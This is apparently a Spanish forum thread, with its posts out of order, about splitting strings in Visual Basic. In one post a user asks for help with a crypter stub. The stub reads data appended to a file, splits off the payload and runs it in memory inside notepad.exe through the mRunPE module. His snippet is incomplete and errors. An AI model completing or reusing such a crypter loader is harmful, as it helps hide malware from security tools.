Mensajes

Imagínate que tienes una variable con el texto "Hola /a /b /c".

Pues para separarlo utilizas Split, de forma que quedaría así:

Código (vb) [Seleccionar] Expandir

Option Explicit

Dim i As Integer
Dim s_Texto As String
Dim v_Argumentos As Variant

s_Texto = "Hola /a /b /c"
v_Argumentos = Split(s_Texto, " ")

For i = 0 To 2
    MsgBox "Argumento: " & v_Argumentos(i)
Next

Es lo mismo que puso Spider-Net. El error posiblemente se deba a que tienes Option Explicit y no se declara la variable i.

Para poner el código coloreado, utiliza las etiquetas GeSHi. Cuando posteas algo, arriba a la derecha tienes un menú desplegable que te permite añadir las etiquetas para los diferentes lenguajes.

Saludos.

Utiliza la función Split para separar el comando de los argumentos.

Saludos.

Ya está, gracias por los ejemplos, Karcrack.

Saludos.

¿Podrías ponerme un ejemplo, Karcrack?
Muchas gracias.

EDITO: Utilizo esto actualmente en el stub.

Código (vb) [Seleccionar] Expandir

Sub Main()
    Dim b_Datos As Byte
    Dim v_Datos As Variant
    Open Ruta For Binary As #1
        Get #1, EOF(1), b_Datos
    Close #1
    'Ahora necesito hacer el split para separar el archivo original del stub.
    v_Datos = Split(b_Datos, "|-|-|")
    'Pero me da error.
    RunPE v_Datos(1), "notepad.exe"
End Sub


Hola. Estoy utilizando el módulo de cobein mRunPE para ejecutar un archivo en memoria. Lo que hago es abrir el archivo y obtener los datos, que los guardo en una variable Byte. El problemas es que necesito hacer un split de los datos, ya que es el stub de un crypter, por lo que no soy capaz de hacerlo, y que luego pueda utilizar la función RunPE con el valor que yo desee del split. ¿Alguien me puede ayudar?

Gracias de antemano.

Cuando establezcas el valor de la variable palabras y definiciones quitale el Dim_

Saludos.

[cobein]

Este es un post donde ErMoja tenía un problema con el módulo de clase de cobein, y aparece como utilizarlo:

http://foro.elhacker.net/programacion_vb/problema_con_el_codigo_de_cobein-t230535.0.html

Saludos.

No hace falta hombre, lo que pasa es que no me coincidía.

Saludos.

¿Por qué utilizas Private Sub Form_Load()?
Es VBS, no VB.

Saludos.

Oh, OK.